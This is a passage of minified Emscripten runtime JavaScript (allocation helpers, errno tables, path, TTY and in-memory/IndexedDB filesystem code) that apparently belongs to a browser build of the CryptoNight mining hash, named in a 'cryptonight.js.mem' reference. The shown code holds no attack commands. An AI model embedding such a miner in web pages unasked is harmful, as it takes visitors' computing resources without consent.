t||\"i64\"!=e&&\"double\"!=e?e?Math.min(r||(e?Runtime.getNativeFieldSize(e):0),Runtime.QUANTUM_SIZE):Math.min(r,8):8},dynCall:function(e,r,t){return t&&t.length?Module[\"dynCall_\"+e].apply(null,[r].concat(t)):Module[\"dynCall_\"+e].call(null,r)},functionPointers:[],addFunction:function(e){for(var r=0;r<Runtime.functionPointers.length;r++)if(!Runtime.functionPointers[r])return Runtime.functionPointers[r]=e,2*(1+r);throw\"Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS.\"},removeFunction:function(e){Runtime.functionPointers[(e-2)/2]=null},warnOnce:function(e){Runtime.warnOnce.shown||(Runtime.warnOnce.shown={}),Runtime.warnOnce.shown[e]||(Runtime.warnOnce.shown[e]=1,Module.printErr(e))},funcWrappers:{},getFuncWrapper:function(e,r){assert(r),Runtime.funcWrappers[r]||(Runtime.funcWrappers[r]={});var t=Runtime.funcWrappers[r];return t[e]||(1===r.length?t[e]=function(){return Runtime.dynCall(r,e)}:2===r.length?t[e]=function(t){return Runtime.dynCall(r,e,[t])}:t[e]=function(){return Runtime.dynCall(r,e,Array.prototype.slice.call(arguments))}),t[e]},getCompilerSetting:function(e){throw\"You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work\"},stackAlloc:function(e){var r=STACKTOP;return STACKTOP=STACKTOP+e|0,STACKTOP=STACKTOP+15&-16,r},staticAlloc:function(e){var r=STATICTOP;return STATICTOP=STATICTOP+e|0,STATICTOP=STATICTOP+15&-16,r},dynamicAlloc:function(e){var r=HEAP32[DYNAMICTOP_PTR>>2],t=-16&(r+e+15|0);if(HEAP32[DYNAMICTOP_PTR>>2]=t,t>=TOTAL_MEMORY){if(!enlargeMemory())return HEAP32[DYNAMICTOP_PTR>>2]=r,0}return r},alignMemory:function(e,r){return e=Math.ceil(e/(r||16))*(r||16)},makeBigInt:function(e,r,t){return t?+(e>>>0)+4294967296*+(r>>>0):+(e>>>0)+4294967296*+(0|r)},GLOBAL_BASE:1024,QUANTUM_SIZE:4,__dummy__:0};Module.Runtime=Runtime;var ABORT=0,EXITSTATUS=0,cwrap,ccall;!function(){function parseJSFunc(e){var r=e.toString().match(sourceRegex).slice(1);return{arguments:r[0],body:r[1],returnValue:r[2]}}function ensureJSsource(){if(!JSsource){JSsource={};for(var e in JSfuncs)JSfuncs.hasOwnProperty(e)&&(JSsource[e]=parseJSFunc(JSfuncs[e]))}}var JSfuncs={stackSave:function(){Runtime.stackSave()},stackRestore:function(){Runtime.stackRestore()},arrayToC:function(e){var r=Runtime.stackAlloc(e.length);return writeArrayToMemory(e,r),r},stringToC:function(e){var r=0;if(null!==e&&void 0!==e&&0!==e){var t=1+(e.length<<2);stringToUTF8(e,r=Runtime.stackAlloc(t),t)}return r}},toC={string:JSfuncs.stringToC,array:JSfuncs.arrayToC};ccall=function(e,r,t,n,o){var i=getCFunc(e),a=[],s=0;if(n)for(var u=0;u<n.length;u++){var l=toC[t[u]];l?(0===s&&(s=Runtime.stackSave()),a[u]=l(n[u])):a[u]=n[u]}var c=i.apply(null,a);if(\"string\"===r&&(c=Pointer_stringify(c)),0!==s){if(o&&o.async)return void EmterpreterAsync.asyncFinalizers.push(function(){Runtime.stackRestore(s)});Runtime.stackRestore(s)}return c};var sourceRegex=/^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*\\{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?\\}$/,JSsource=null;cwrap=function cwrap(ident,returnType,argTypes){argTypes=argTypes||[];var cfunc=getCFunc(ident),numericArgs=argTypes.every(function(e){return\"number\"===e}),numericRet=\"string\"!==returnType;if(numericRet&&numericArgs)return cfunc;var argNames=argTypes.map(function(e,r){return\"$\"+r}),funcstr=\"(function(\"+argNames.join(\",\")+\") {\",nargs=argTypes.length;if(!numericArgs){ensureJSsource(),funcstr+=\"var stack = \"+JSsource.stackSave.body+\";\";for(var i=0;i<nargs;i++){var arg=argNames[i],type=argTypes[i];if(\"number\"!==type){var convertCode=JSsource[type+\"ToC\"];funcstr+=\"var \"+convertCode.arguments+\" = \"+arg+\";\",funcstr+=convertCode.body+\";\",funcstr+=arg+\"=(\"+convertCode.returnValue+\");\"}}}var cfuncname=parseJSFunc(function(){return cfunc}).returnValue;if(funcstr+=\"var ret = \"+cfuncname+\"(\"+argNames.join(\",\")+\");\",!numericRet){var strgfy=parseJSFunc(function(){return Pointer_stringify}).returnValue;funcstr+=\"ret = \"+strgfy+\"(ret);\"}return numericArgs||(ensureJSsource(),funcstr+=JSsource.stackRestore.body.replace(\"()\",\"(stack)\")+\";\"),funcstr+=\"return ret})\",eval(funcstr)}}(),Module.ccall=ccall,Module.cwrap=cwrap,Module.setValue=setValue,Module.getValue=getValue;var ALLOC_NORMAL=0,ALLOC_STACK=1,ALLOC_STATIC=2,ALLOC_DYNAMIC=3,ALLOC_NONE=4;Module.ALLOC_NORMAL=ALLOC_NORMAL,Module.ALLOC_STACK=ALLOC_STACK,Module.ALLOC_STATIC=ALLOC_STATIC,Module.ALLOC_DYNAMIC=ALLOC_DYNAMIC,Module.ALLOC_NONE=ALLOC_NONE,Module.allocate=allocate,Module.getMemory=getMemory,Module.Pointer_stringify=Pointer_stringify,Module.AsciiToString=AsciiToString,Module.stringToAscii=stringToAscii;var UTF8Decoder=\"undefined\"!=typeof TextDecoder?new TextDecoder(\"utf8\"):void 0;Module.UTF8ArrayToString=UTF8ArrayToString,Module.UTF8ToString=UTF8ToString,Module.stringToUTF8Array=stringToUTF8Array,Module.stringToUTF8=stringToUTF8,Module.lengthBytesUTF8=lengthBytesUTF8;var UTF16Decoder=\"undefined\"!=typeof TextDecoder?new TextDecoder(\"utf-16le\"):void 0;Module.stackTrace=stackTrace;var WASM_PAGE_SIZE=65536,ASMJS_PAGE_SIZE=16777216,HEAP,buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64,STATIC_BASE,STATICTOP,staticSealed,STACK_BASE,STACKTOP,STACK_MAX,DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0,staticSealed=!1;var TOTAL_STACK=Module.TOTAL_STACK||5242880,TOTAL_MEMORY=Module.TOTAL_MEMORY||16777216;if(TOTAL_MEMORY<TOTAL_STACK&&Module.printErr(\"TOTAL_MEMORY should be larger than TOTAL_STACK, was \"+TOTAL_MEMORY+\"! (TOTAL_STACK=\"+TOTAL_STACK+\")\"),Module.buffer?buffer=Module.buffer:\"object\"==typeof WebAssembly&&\"function\"==typeof WebAssembly.Memory?(Module.wasmMemory=new WebAssembly.Memory({initial:TOTAL_MEMORY/WASM_PAGE_SIZE,maximum:TOTAL_MEMORY/WASM_PAGE_SIZE}),buffer=Module.wasmMemory.buffer):buffer=new ArrayBuffer(TOTAL_MEMORY),updateGlobalBufferViews(),HEAP32[0]=1668509029,HEAP16[1]=25459,115!==HEAPU8[2]||99!==HEAPU8[3])throw\"Runtime error: expected the system to be little-endian!\";Module.HEAP=HEAP,Module.buffer=buffer,Module.HEAP8=HEAP8,Module.HEAP16=HEAP16,Module.HEAP32=HEAP32,Module.HEAPU8=HEAPU8,Module.HEAPU16=HEAPU16,Module.HEAPU32=HEAPU32,Module.HEAPF32=HEAPF32,Module.HEAPF64=HEAPF64;var __ATPRERUN__=[],__ATINIT__=[],__ATMAIN__=[],__ATEXIT__=[],__ATPOSTRUN__=[],runtimeInitialized=!1,runtimeExited=!1;if(Module.addOnPreRun=addOnPreRun,Module.addOnInit=addOnInit,Module.addOnPreMain=addOnPreMain,Module.addOnExit=addOnExit,Module.addOnPostRun=addOnPostRun,Module.intArrayFromString=intArrayFromString,Module.intArrayToString=intArrayToString,Module.writeStringToMemory=writeStringToMemory,Module.writeArrayToMemory=writeArrayToMemory,Module.writeAsciiToMemory=writeAsciiToMemory,Math.imul&&-5===Math.imul(4294967295,5)||(Math.imul=function(e,r){var t=65535&e,n=65535&r;return t*n+((e>>>16)*n+t*(r>>>16)<<16)|0}),Math.imul=Math.imul,!Math.fround){var froundBuffer=new Float32Array(1);Math.fround=function(e){return froundBuffer[0]=e,froundBuffer[0]}}Math.fround=Math.fround,Math.clz32||(Math.clz32=function(e){e>>>=0;for(var r=0;r<32;r++)if(e&1<<31-r)return r;return 32}),Math.clz32=Math.clz32,Math.trunc||(Math.trunc=function(e){return e<0?Math.ceil(e):Math.floor(e)}),Math.trunc=Math.trunc;var Math_abs=Math.abs,Math_cos=Math.cos,Math_sin=Math.sin,Math_tan=Math.tan,Math_acos=Math.acos,Math_asin=Math.asin,Math_atan=Math.atan,Math_atan2=Math.atan2,Math_exp=Math.exp,Math_log=Math.log,Math_sqrt=Math.sqrt,Math_ceil=Math.ceil,Math_floor=Math.floor,Math_pow=Math.pow,Math_imul=Math.imul,Math_fround=Math.fround,Math_round=Math.round,Math_min=Math.min,Math_clz32=Math.clz32,Math_trunc=Math.trunc,runDependencies=0,runDependencyWatcher=null,dependenciesFulfilled=null;Module.addRunDependency=addRunDependency,Module.removeRunDependency=removeRunDependency,Module.preloadedImages={},Module.preloadedAudios={};var memoryInitializer=null;integrateWasmJS(Module);var ASM_CONSTS=[];STATIC_BASE=Runtime.GLOBAL_BASE,STATICTOP=STATIC_BASE+12512,__ATINIT__.push(),memoryInitializer=Module.wasmJSMethod.indexOf(\"asmjs\")>=0||Module.wasmJSMethod.indexOf(\"interpret-asm2wasm\")>=0?\"cryptonight.js.mem\":null;var STATIC_BUMP=12512;Module.STATIC_BASE=STATIC_BASE,Module.STATIC_BUMP=STATIC_BUMP;var tempDoublePtr=STATICTOP;STATICTOP+=16;var PROCINFO={ppid:1,pid:42,sid:42,pgid:42},ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86},ERRNO_MESSAGES={0:\"Success\",1:\"Not super-user\",2:\"No such file or directory\",3:\"No such process\",4:\"Interrupted system call\",5:\"I/O error\",6:\"No such device or address\",7:\"Arg list too long\",8:\"Exec format error\",9:\"Bad file number\",10:\"No children\",11:\"No more processes\",12:\"Not enough core\",13:\"Permission denied\",14:\"Bad address\",15:\"Block device required\",16:\"Mount device busy\",17:\"File exists\",18:\"Cross-device link\",19:\"No such device\",20:\"Not a directory\",21:\"Is a directory\",22:\"Invalid argument\",23:\"Too many open files in system\",24:\"Too many open files\",25:\"Not a typewriter\",26:\"Text file busy\",27:\"File too large\",28:\"No space left on device\",29:\"Illegal seek\",30:\"Read only file system\",31:\"Too many links\",32:\"Broken pipe\",33:\"Math arg out of domain of func\",34:\"Math result not representable\",35:\"File locking deadlock error\",36:\"File or path name too long\",37:\"No record locks available\",38:\"Function not implemented\",39:\"Directory not empty\",40:\"Too many symbolic links\",42:\"No message of desired type\",43:\"Identifier removed\",44:\"Channel number out of range\",45:\"Level 2 not synchronized\",46:\"Level 3 halted\",47:\"Level 3 reset\",48:\"Link number out of range\",49:\"Protocol driver not attached\",50:\"No CSI structure available\",51:\"Level 2 halted\",52:\"Invalid exchange\",53:\"Invalid request descriptor\",54:\"Exchange full\",55:\"No anode\",56:\"Invalid request code\",57:\"Invalid slot\",59:\"Bad font file fmt\",60:\"Device not a stream\",61:\"No data (for no delay io)\",62:\"Timer expired\",63:\"Out of streams resources\",64:\"Machine is not on the network\",65:\"Package not installed\",66:\"The object is remote\",67:\"The link has been severed\",68:\"Advertise error\",69:\"Srmount error\",70:\"Communication error on send\",71:\"Protocol error\",72:\"Multihop attempted\",73:\"Cross mount point (not really error)\",74:\"Trying to read unreadable message\",75:\"Value too large for defined data type\",76:\"Given log. name not unique\",77:\"f.d. invalid for this operation\",78:\"Remote address changed\",79:\"Can access a needed shared lib\",80:\"Accessing a corrupted shared lib\",81:\".lib section in a.out corrupted\",82:\"Attempting to link in too many libs\",83:\"Attempting to exec a shared library\",84:\"Illegal byte sequence\",86:\"Streams pipe error\",87:\"Too many users\",88:\"Socket operation on non-socket\",89:\"Destination address required\",90:\"Message too long\",91:\"Protocol wrong type for socket\",92:\"Protocol not available\",93:\"Unknown protocol\",94:\"Socket type not supported\",95:\"Not supported\",96:\"Protocol family not supported\",97:\"Address family not supported by protocol family\",98:\"Address already in use\",99:\"Address not available\",100:\"Network interface is not configured\",101:\"Network is unreachable\",102:\"Connection reset by network\",103:\"Connection aborted\",104:\"Connection reset by peer\",105:\"No buffer space available\",106:\"Socket is already connected\",107:\"Socket is not connected\",108:\"Can't send after socket shutdown\",109:\"Too many references\",110:\"Connection timed out\",111:\"Connection refused\",112:\"Host is down\",113:\"Host is unreachable\",114:\"Socket already connected\",115:\"Connection already in progress\",116:\"Stale file handle\",122:\"Quota exceeded\",123:\"No medium (in tape drive)\",125:\"Operation canceled\",130:\"Previous owner died\",131:\"State not recoverable\"},PATH={splitPath:function(e){return/^(\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/.exec(e).slice(1)},normalizeArray:function(e,r){for(var t=0,n=e.length-1;n>=0;n--){var o=e[n];\".\"===o?e.splice(n,1):\"..\"===o?(e.splice(n,1),t++):t&&(e.splice(n,1),t--)}if(r)for(;t;t--)e.unshift(\"..\");return e},normalize:function(e){var r=\"/\"===e.charAt(0),t=\"/\"===e.substr(-1);return(e=PATH.normalizeArray(e.split(\"/\").filter(function(e){return!!e}),!r).join(\"/\"))||r||(e=\".\"),e&&t&&(e+=\"/\"),(r?\"/\":\"\")+e},dirname:function(e){var r=PATH.splitPath(e),t=r[0],n=r[1];return t||n?(n&&(n=n.substr(0,n.length-1)),t+n):\".\"},basename:function(e){if(\"/\"===e)return\"/\";var r=e.lastIndexOf(\"/\");return-1===r?e:e.substr(r+1)},extname:function(e){return PATH.splitPath(e)[3]},join:function(){var e=Array.prototype.slice.call(arguments,0);return PATH.normalize(e.join(\"/\"))},join2:function(e,r){return PATH.normalize(e+\"/\"+r)},resolve:function(){for(var e=\"\",r=!1,t=arguments.length-1;t>=-1&&!r;t--){var n=t>=0?arguments[t]:FS.cwd();if(\"string\"!=typeof n)throw new TypeError(\"Arguments to path.resolve must be strings\");if(!n)return\"\";e=n+\"/\"+e,r=\"/\"===n.charAt(0)}return e=PATH.normalizeArray(e.split(\"/\").filter(function(e){return!!e}),!r).join(\"/\"),(r?\"/\":\"\")+e||\".\"},relative:function(e,r){function t(e){for(var r=0;r<e.length&&\"\"===e[r];r++);for(var t=e.length-1;t>=0&&\"\"===e[t];t--);return r>t?[]:e.slice(r,t-r+1)}e=PATH.resolve(e).substr(1),r=PATH.resolve(r).substr(1);for(var n=t(e.split(\"/\")),o=t(r.split(\"/\")),i=Math.min(n.length,o.length),a=i,s=0;s<i;s++)if(n[s]!==o[s]){a=s;break}var u=[];for(s=a;s<n.length;s++)u.push(\"..\");return(u=u.concat(o.slice(a))).join(\"/\")}},TTY={ttys:[],init:function(){},shutdown:function(){},register:function(e,r){TTY.ttys[e]={input:[],output:[],ops:r},FS.registerDevice(e,TTY.stream_ops)},stream_ops:{open:function(e){var r=TTY.ttys[e.node.rdev];if(!r)throw new FS.ErrnoError(ERRNO_CODES.ENODEV);e.tty=r,e.seekable=!1},close:function(e){e.tty.ops.flush(e.tty)},flush:function(e){e.tty.ops.flush(e.tty)},read:function(e,r,t,n,o){if(!e.tty||!e.tty.ops.get_char)throw new FS.ErrnoError(ERRNO_CODES.ENXIO);for(var i=0,a=0;a<n;a++){var s;try{s=e.tty.ops.get_char(e.tty)}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(void 0===s&&0===i)throw new FS.ErrnoError(ERRNO_CODES.EAGAIN);if(null===s||void 0===s)break;i++,r[t+a]=s}return i&&(e.node.timestamp=Date.now()),i},write:function(e,r,t,n,o){if(!e.tty||!e.tty.ops.put_char)throw new FS.ErrnoError(ERRNO_CODES.ENXIO);for(var i=0;i<n;i++)try{e.tty.ops.put_char(e.tty,r[t+i])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return n&&(e.node.timestamp=Date.now()),i}},default_tty_ops:{get_char:function(e){if(!e.input.length){var r=null;if(\"undefined\"!=typeof window&&\"function\"==typeof window.prompt?null!==(r=window.prompt(\"Input: \"))&&(r+=\"\\n\"):\"function\"==typeof readline&&null!==(r=readline())&&(r+=\"\\n\"),!r)return null;e.input=intArrayFromString(r,!0)}return e.input.shift()},put_char:function(e,r){null===r||10===r?(Module.print(UTF8ArrayToString(e.output,0)),e.output=[]):0!=r&&e.output.push(r)},flush:function(e){e.output&&e.output.length>0&&(Module.print(UTF8ArrayToString(e.output,0)),e.output=[])}},default_tty1_ops:{put_char:function(e,r){null===r||10===r?(Module.printErr(UTF8ArrayToString(e.output,0)),e.output=[]):0!=r&&e.output.push(r)},flush:function(e){e.output&&e.output.length>0&&(Module.printErr(UTF8ArrayToString(e.output,0)),e.output=[])}}},MEMFS={ops_table:null,mount:function(e){return MEMFS.createNode(null,\"/\",16895,0)},createNode:function(e,r,t,n){if(FS.isBlkdev(t)||FS.isFIFO(t))throw new FS.ErrnoError(ERRNO_CODES.EPERM);MEMFS.ops_table||(MEMFS.ops_table={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,allocate:MEMFS.stream_ops.allocate,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}});var o=FS.createNode(e,r,t,n);return FS.isDir(o.mode)?(o.node_ops=MEMFS.ops_table.dir.node,o.stream_ops=MEMFS.ops_table.dir.stream,o.contents={}):FS.isFile(o.mode)?(o.node_ops=MEMFS.ops_table.file.node,o.stream_ops=MEMFS.ops_table.file.stream,o.usedBytes=0,o.contents=null):FS.isLink(o.mode)?(o.node_ops=MEMFS.ops_table.link.node,o.stream_ops=MEMFS.ops_table.link.stream):FS.isChrdev(o.mode)&&(o.node_ops=MEMFS.ops_table.chrdev.node,o.stream_ops=MEMFS.ops_table.chrdev.stream),o.timestamp=Date.now(),e&&(e.contents[r]=o),o},getFileDataAsRegularArray:function(e){if(e.contents&&e.contents.subarray){for(var r=[],t=0;t<e.usedBytes;++t)r.push(e.contents[t]);return r}return e.contents},getFileDataAsTypedArray:function(e){return e.contents?e.contents.subarray?e.contents.subarray(0,e.usedBytes):new Uint8Array(e.contents):new Uint8Array},expandFileStorage:function(e,r){if(e.contents&&e.contents.subarray&&r>e.contents.length&&(e.contents=MEMFS.getFileDataAsRegularArray(e),e.usedBytes=e.contents.length),!e.contents||e.contents.subarray){var t=e.contents?e.contents.length:0;if(t>=r)return;r=Math.max(r,t*(t<1048576?2:1.125)|0),0!=t&&(r=Math.max(r,256));var n=e.contents;return e.contents=new Uint8Array(r),void(e.usedBytes>0&&e.contents.set(n.subarray(0,e.usedBytes),0))}for(!e.contents&&r>0&&(e.contents=[]);e.contents.length<r;)e.contents.push(0)},resizeFileStorage:function(e,r){if(e.usedBytes!=r){if(0==r)return e.contents=null,void(e.usedBytes=0);if(!e.contents||e.contents.subarray){var t=e.contents;return e.contents=new Uint8Array(new ArrayBuffer(r)),t&&e.contents.set(t.subarray(0,Math.min(r,e.usedBytes))),void(e.usedBytes=r)}if(e.contents||(e.contents=[]),e.contents.length>r)e.contents.length=r;else for(;e.contents.length<r;)e.contents.push(0);e.usedBytes=r}},node_ops:{getattr:function(e){var r={};return r.dev=FS.isChrdev(e.mode)?e.id:1,r.ino=e.id,r.mode=e.mode,r.nlink=1,r.uid=0,r.gid=0,r.rdev=e.rdev,FS.isDir(e.mode)?r.size=4096:FS.isFile(e.mode)?r.size=e.usedBytes:FS.isLink(e.mode)?r.size=e.link.length:r.size=0,r.atime=new Date(e.timestamp),r.mtime=new Date(e.timestamp),r.ctime=new Date(e.timestamp),r.blksize=4096,r.blocks=Math.ceil(r.size/r.blksize),r},setattr:function(e,r){void 0!==r.mode&&(e.mode=r.mode),void 0!==r.timestamp&&(e.timestamp=r.timestamp),void 0!==r.size&&MEMFS.resizeFileStorage(e,r.size)},lookup:function(e,r){throw FS.genericErrors[ERRNO_CODES.ENOENT]},mknod:function(e,r,t,n){return MEMFS.createNode(e,r,t,n)},rename:function(e,r,t){if(FS.isDir(e.mode)){var n;try{n=FS.lookupNode(r,t)}catch(e){}if(n)for(var o in n.contents)throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}delete e.parent.contents[e.name],e.name=t,r.contents[t]=e,e.parent=r},unlink:function(e,r){delete e.contents[r]},rmdir:function(e,r){var t=FS.lookupNode(e,r);for(var n in t.contents)throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY);delete e.contents[r]},readdir:function(e){var r=[\".\",\"..\"];for(var t in e.contents)e.contents.hasOwnProperty(t)&&r.push(t);return r},symlink:function(e,r,t){var n=MEMFS.createNode(e,r,41471,0);return n.link=t,n},readlink:function(e){if(!FS.isLink(e.mode))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return e.link}},stream_ops:{read:function(e,r,t,n,o){var i=e.node.contents;if(o>=e.node.usedBytes)return 0;var a=Math.min(e.node.usedBytes-o,n);if(assert(a>=0),a>8&&i.subarray)r.set(i.subarray(o,o+a),t);else for(var s=0;s<a;s++)r[t+s]=i[o+s];return a},write:function(e,r,t,n,o,i){if(!n)return 0;var a=e.node;if(a.timestamp=Date.now(),r.subarray&&(!a.contents||a.contents.subarray)){if(i)return a.contents=r.subarray(t,t+n),a.usedBytes=n,n;if(0===a.usedBytes&&0===o)return a.contents=new Uint8Array(r.subarray(t,t+n)),a.usedBytes=n,n;if(o+n<=a.usedBytes)return a.contents.set(r.subarray(t,t+n),o),n}if(MEMFS.expandFileStorage(a,o+n),a.contents.subarray&&r.subarray)a.contents.set(r.subarray(t,t+n),o);else for(var s=0;s<n;s++)a.contents[o+s]=r[t+s];return a.usedBytes=Math.max(a.usedBytes,o+n),n},llseek:function(e,r,t){var n=r;if(1===t?n+=e.position:2===t&&FS.isFile(e.node.mode)&&(n+=e.node.usedBytes),n<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return n},allocate:function(e,r,t){MEMFS.expandFileStorage(e.node,r+t),e.node.usedBytes=Math.max(e.node.usedBytes,r+t)},mmap:function(e,r,t,n,o,i,a){if(!FS.isFile(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.ENODEV);var s,u,l=e.node.contents;if(2&a||l.buffer!==r&&l.buffer!==r.buffer){if((o>0||o+n<e.node.usedBytes)&&(l=l.subarray?l.subarray(o,o+n):Array.prototype.slice.call(l,o,o+n)),u=!0,!(s=_malloc(n)))throw new FS.ErrnoError(ERRNO_CODES.ENOMEM);r.set(l,s)}else u=!1,s=l.byteOffset;return{ptr:s,allocated:u}},msync:function(e,r,t,n,o){if(!FS.isFile(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.ENODEV);if(2&o)return 0;MEMFS.stream_ops.write(e,r,0,n,t,!1);return 0}}},IDBFS={dbs:{},indexedDB:function(){if(\"undefined\"!=typeof indexedDB)return indexedDB;var e=null;return\"object\"==typeof window&&(e=window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB),assert(e,\"IDBFS used, but indexedDB not supported\"),e},DB_VERSION:21,DB_STORE_NAME:\"FILE_DATA\",mount:function(e){return MEMFS.mount.apply(null,arguments)},syncfs:function(e,r,t){IDBFS.getLocalSet(e,function(n,o){if(n)return t(n);IDBFS.getRemoteSet(e,function(e,n){if(e)return t(e);var i=r?n:o,a=r?o:n;IDBFS.reconcile(i,a,t)})})},getDB:function(e,r){var t=IDBFS.dbs[e];if(t)return r(null,t);var n;try{n=IDBFS.indexedDB().open(e,IDBFS.DB_VERSION)}catch(e){return r(e)}if(!n)return r(\"Unable to connect to IndexedDB\");n.onupgradeneeded=function(e){var r,t=e.target.result,n=e.target.transaction;(r=t.objectStoreNames.contains(IDBFS.DB_STORE_NAME)?n.objectStore(IDBFS.DB_STORE_NAME):t.createObjectStore(IDBFS.DB_STORE_NAME)).indexNames.contains(\"timestamp\")||r.createIndex(\"timestamp\",\"timestamp\",{unique:!1})},n.onsuccess=function(){t=n.result,IDBFS.dbs[e]=t,r(null,t)},n.onerror=function(e){r(this.error),e.preventDefault()}},getLocalSet:function(e,r){function t(e){return\".\"!==e&&\"..\"!==e}function n(e){return function(r){return PATH.join2(e,r)}}for(var o={},i=FS.readdir(e.mountpoint).filter(t).map(n(e.mountpoint));i.length;){var a,s=i.pop();try{a=FS.stat(s)}catch(e){return r(e)}FS.isDir(a.mode)&&i.push.apply(i,FS.readdir(s).filter(t).map(n(s))),o[s]={timestamp:a.mtime}}return r(null,{type:\"local\",entries:o})},getRemoteSet:function(e,r){var t={};IDBFS.getDB(e.mountpoint,function(e,n){if(e)return r(e);var o=n.transaction([IDBFS.DB_STORE_NAME],\"readonly\");o.onerror=function(e){r(this.error),e.preventDefault()};o.objectStore(IDBFS.DB_STORE_NAME).index(\"timestamp\").openKeyCursor().onsuccess=function(e){var o=e.target.result;if(!o)return r(null,{type:\"remote\",db:n,entries:t});t[o.primaryKey]={timestamp:o.key},o.continue()}})},loadLocalEntry:function(e,r){var t,n;try{n=FS.lookupPath(e).node,t=FS.stat(e)}catch(e){return r(e)}return FS.isDir(t.mode)?r(null,{timestamp:t.mtime,mode:t.mode}):FS.isFile(t.mode)?(n.contents=MEMFS.getFileDataAsTypedArray(n),r(null,{timestamp:t.mtime,mode:t.mode,contents:n.contents})):r(new Error(\"node type not supported\"))},storeLocalEntry:function(e,r,t){try{if(FS.isDir(r.mode))FS.mkdir(e,r.mode);else{if(!FS.isFile(r.mode))return t(new Error(\"node type not supported\"));FS.writeFile(e,r.contents,{encoding:\"binary\",canOwn:!0})}FS.chmod(e,r.mode),FS.utime(e,r.timestamp,r.timestamp)}catch(e){return t(e)}t(null)},removeLocalEntry:function(e,r){try{FS.lookupPath(e);var t=FS.stat(e);FS.isDir(t.mode)?FS.rmdir(e):FS.isFile(t.mode)&&FS.unlink(e)}catch(e){return r(e)}r(null)},loadRemoteEntry:function(e,r,t){var n=e.get(r);n.onsuccess=function(e){t(null,e.target.result)},n.onerror=function(e){t(this.error),e.preventDefault()}},storeRemoteEntry:function(e,r,t,n){var o=e.put(t,r);o.onsuccess=function(){n(null)},o.onerror=function(e){n(this.error),e.preventDefault()}},removeRemoteEntry:function(e,r,t){var n=e.delete(r);n.onsuccess=function(){t(null)},n.onerror=function(e){t(this.error),e.preventDefault()}},reconcile:function(e,r,t){function n(e){if(e){if(!n.errored)return n.errored=!0,t(e)}else if(++s>=o)return t(null)}var o=0,i=[];Object.keys(e.entries).forEach(function(t){var 